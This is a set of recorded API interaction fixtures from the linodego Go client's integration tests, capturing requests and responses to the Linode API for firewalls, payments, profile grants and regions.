firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692866 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestFirewalls_List.yaml000066400000000000000000000355511474652371000312440ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 692864, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "583" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls?page=1 method: GET response: body: '{"data": [{"id": 433514, "label": "test-fw", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}, "ports": "22", "protocol": "TCP", "label": "accept-inbound-SSH", "description": null}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 4, "fingerprint": "20eec66f"}, "tags": [], "entities": [{"id": 57328123, "type": "linode", "label": "debian-us-central", "url": "/v4/linode/instances/57328123"}, {"id": 54748754, "type": "linode", "label": "debian-us-ord", "url": "/v4/linode/instances/54748754"}]}, {"id": 624183, "label": "e2e-firewall-izUKXM", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"label": "ssh-accept-inbound-rule", "addresses": {"ipv4": ["207.172.164.59/32"]}, "description": "ACCEPT SSH from test machine", "ports": "22", "protocol": "TCP", "action": "ACCEPT"}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "45912779"}, "tags": [], "entities": []}, {"id": 624308, "label": "e2e-firewall-svVoqB", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"label": "ssh-accept-inbound-rule", "addresses": {"ipv4": ["207.172.164.59/32"]}, "description": "ACCEPT SSH from test machine", "ports": "22", "protocol": "TCP", "action": "ACCEPT"}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "45912779"}, "tags": [], "entities": [{"id": 60939824, "type": "linode", "label": "ansible-test-471035164-updated", "url": "/v4/linode/instances/60939824"}]}, {"id": 682410, "label": "e2e-firewall-bucVPC", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"label": "ssh-accept-inbound-rule", "addresses": {"ipv4": ["207.172.164.59/32"]}, "description": "ACCEPT SSH from test machine", "ports": "22", "protocol": "TCP", "action": "ACCEPT"}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "45912779"}, "tags": [], "entities": []}, {"id": 682453, "label": "e2e-firewall-WJsukx", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"label": "ssh-accept-inbound-rule", "addresses": {"ipv4": ["207.172.164.59/32"]}, "description": "ACCEPT SSH from test machine", "ports": "22", "protocol": "TCP", "action": "ACCEPT"}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "45912779"}, "tags": [], "entities": []}, {"id": 682477, "label": "e2e-firewall-IzEjvH", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"label": "ssh-accept-inbound-rule", "addresses": {"ipv4": ["207.172.164.59/32"]}, "description": "ACCEPT SSH from test machine", "ports": "22", "protocol": "TCP", "action": "ACCEPT"}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "45912779"}, "tags": [], "entities": []}, {"id": 682500, "label": "e2e-firewall-QdxDkS", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"label": "ssh-accept-inbound-rule", "addresses": {"ipv4": ["207.172.164.59/32"]}, "description": "ACCEPT SSH from test machine", "ports": "22", "protocol": "TCP", "action": "ACCEPT"}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "45912779"}, "tags": [], "entities": []}, {"id": 682505, "label": "e2e-firewall-KkroRq", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"label": "ssh-accept-inbound-rule", "addresses": {"ipv4": ["207.172.164.59/32"]}, "description": "ACCEPT SSH from test machine", "ports": "22", "protocol": "TCP", "action": "ACCEPT"}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "45912779"}, "tags": [], "entities": []}, {"id": 682508, "label": "e2e-firewall-WPxzQk", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"label": "ssh-accept-inbound-rule", "addresses": {"ipv4": ["207.172.164.59/32"]}, "description": "ACCEPT SSH from test machine", "ports": "22", "protocol": "TCP", "action": "ACCEPT"}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "45912779"}, "tags": [], "entities": []}, {"id": 682532, "label": "e2e-firewall-rBZhHt", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"label": "ssh-accept-inbound-rule", "addresses": {"ipv4": ["207.172.164.59/32"]}, "description": "ACCEPT SSH from test machine", "ports": "22", "protocol": "TCP", "action": "ACCEPT"}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "45912779"}, "tags": [], "entities": []}, {"id": 692740, "label": "cloudfw-1721926678901029000", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "ssh-inbound-accept-local", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["207.172.164.59/32"]}}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "3e4f4201"}, "tags": [], "entities": []}, {"id": 692760, "label": "cloudfw-1721927227347144000", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "ssh-inbound-accept-local", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["207.172.164.59/32"]}}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "3e4f4201"}, "tags": [], "entities": []}, {"id": 692763, "label": "cloudfw-1721927316071520000", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "ssh-inbound-accept-local", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["207.172.164.59/32"]}}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "3e4f4201"}, "tags": [], "entities": []}, {"id": 692848, "label": "cloudfw-1721929346146739000", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "ssh-inbound-accept-local", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["207.172.164.59/32"]}}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "3e4f4201"}, "tags": [], "entities": []}, {"id": 692854, "label": "cloudfw-1721929441971780000", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "ssh-inbound-accept-local", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["207.172.164.59/32"]}}], "inbound_policy": "DROP", "outbound": [], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "3e4f4201"}, "tags": [], "entities": []}, {"id": 692864, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": ["testing"], "entities": []}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692864 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestGetPayment_found.yaml000066400000000000000000000032631474652371000315640ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/payments/12065587 method: GET response: body: '{"id": 12065587, "date": "2018-01-02T03:04:05", "usd": 25.0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "60" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestGrantsList.yaml000066400000000000000000000025641474652371000304110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/grants method: GET response: body: "" headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 204 No Content code: 204 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestIPAddress_GetFound.yaml000066400000000000000000001140161474652371000317240ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", 